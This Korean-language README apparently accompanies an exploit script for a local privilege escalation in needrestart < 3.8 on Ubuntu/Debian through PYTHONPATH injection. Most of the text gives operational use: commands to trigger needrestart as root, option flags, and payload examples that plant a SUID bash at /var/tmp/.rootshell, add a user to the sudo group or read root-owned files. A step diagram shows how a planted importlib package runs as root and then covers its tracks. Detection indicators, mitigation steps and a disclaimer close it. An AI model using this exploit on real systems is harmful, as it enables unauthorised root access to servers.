
needrestart < 3.8 PYTHONPATH 인젝션을 통한 로컬 권한 상승
Ubuntu/Debian 시스템에서 PYTHONPATH 주입을 통해 needrestart < 3.8을 대상으로 하는 로컬 권한 상승 익스플로잇.
needrestart는 Ubuntu/Debian 서버에 일반적으로 설치되는 유틸리티로, 라이브러리 업그레이드 후 어떤 서비스를 다시 시작해야 하는지 확인합니다. root 권한으로 실행되며 일반적으로 apt 작업 후 자동으로 트리거되거나 sudo를 통해 직접 호출됩니다.
Python 프로세스를 확인할 때 needrestart는 /proc/<pid>/environ에서 프로세스의 전체 환경을 상속받아 Python 인터프리터를 다시 호출합니다. 여기에는 PYTHONPATH도 포함됩니다. 권한이 없는 로컬 사용자는 다음과 같이 이를 악용할 수 있습니다:
PYTHONPATH를 악성 importlib 패키지가 포함된 디렉터리로 설정importlib/__init__.py를 로드함| 패키지 | 취약 버전 | 수정 버전 |
|---|---|---|
| needrestart | < 3.8 | >= 3.8 |
다음에서 확인됨:
needrestart 3.5-5ubuntu2.4needrestart 3.6-7ubuntu4chmod +x exploit.sh
./exploit.sh
그런 다음 다른 터미널에서 needrestart를 트리거합니다:
# needrestart에 직접 sudo 액세스 권한이 있는 경우:
sudo /usr/sbin/needrestart
# 또는 apt를 통해 트리거 (needrestart는 apt 후크로 실행됨):
sudo apt update && sudo apt install --reinstall coreutils
needrestart가 트리거되면 익스플로잇이 /var/tmp/.rootshell에 SUID 셸을 생성하고 자동으로 root 셸로 전환합니다.
자동 실행이 작동하지 않으면 수동으로 셸을 획득하세요:
/var/tmp/.rootshell -p
Usage: ./exploit.sh [OPTIONS]
옵션:
-c <command> root로 실행할 사용자 정의 셸 명령 (기본: suid 셸 복사)
-w <seconds> 최대 대기 시간(초) (기본: 300)
-t 트리거 모드: apt를 통해 needrestart를 트리거 시도
-n 정리하지 않음: 익스플로잇 후 페이로드 디렉터리 유지
-h 이 도움말 메시지 표시
# 기본 — /var/tmp/.rootshell에 SUID /bin/bash 복사본 생성
./exploit.sh
# apt를 통해 needrestart 자동 트리거 (sudo apt 액세스 필요)
./exploit.sh -t
# 사용자 정의 페이로드: 현재 사용자를 sudoers에 추가
./exploit.sh -c 'usermod -aG sudo targetuser'
# 사용자 정의 페이로드: 제한된 파일 읽기
./exploit.sh -c 'cat /root/flag.txt > /tmp/flag.txt && chmod 644 /tmp/flag.txt'
# 확장된 대기 (10분)
./exploit.sh -w 600
┌───────────────────────────────────────────────────────────────┐
│ 1. Creates /tmp/.nr_XXXX/importlib/__init__.py with payload │
│ that runs os.system() to copy /bin/bash as SUID binary │
├───────────────────────────────────────────────────────────────┤
│ 2. Spawns a long-running Python process with │
│ PYTHONPATH=/tmp/.nr_XXXX exported in its environment │
├───────────────────────────────────────────────────────────────┤
│ 3. needrestart runs (via sudo or apt hook), scans │
│ /proc/*/environ, finds the Python process │
├───────────────────────────────────────────────────────────────┤
│ 4. needrestart re-invokes python3 AS ROOT inheriting the │
│ attacker's PYTHONPATH → loads malicious importlib │
├───────────────────────────────────────────────────────────────┤
│ 5. Payload executes as root: cp /bin/bash + chmod 4755 │
│ → attacker runs /var/tmp/.rootshell -p → root shell │
└───────────────────────────────────────────────────────────────┘
/tmp/ 대신 /var/tmp/에 배치됩니다. /tmp는 일반적으로 nosuid로 마운트되어 SUID 비트가 자동으로 제거되기 때문입니다.importlib/__init__.py는 페이로드 실행 후 sys.path와 sys.modules를 정리하여 실제 importlib을 복원하므로 needrestart가 눈에 띄게 충돌하지 않습니다..py 파일( -c 원라이너 아님)을 실행합니다.이 익스플로잇이 사용되었음을 나타내는 지표:
/var/tmp/ 또는 /tmp/에 예상치 못한 SUID 바이너리 존재PYTHONPATH 값을 가진 Python 프로세스importlib/ 하위 디렉터리를 포함하는 /tmp/.nr_* 패턴의 디렉터리# needrestart를 패치된 버전으로 업데이트
sudo apt update && sudo apt install needrestart
# 또는 인터프리터 스캔을 완전히 비활성화
echo "\$nrconf{interpscan} = 0;" | sudo tee /etc/needrestart/conf.d/no-interp.conf
이 도구는 인가된 보안 테스트 및 교육 목적으로만 제공됩니다. 소유하고 있거나 명시적인 서면 허가를 받은 시스템에서만 사용하십시오. 컴퓨터 시스템에 대한 무단 액세스는 불법입니다. 작성자는 오용에 대해 어떠한 책임도 지지 않습니다.
MIT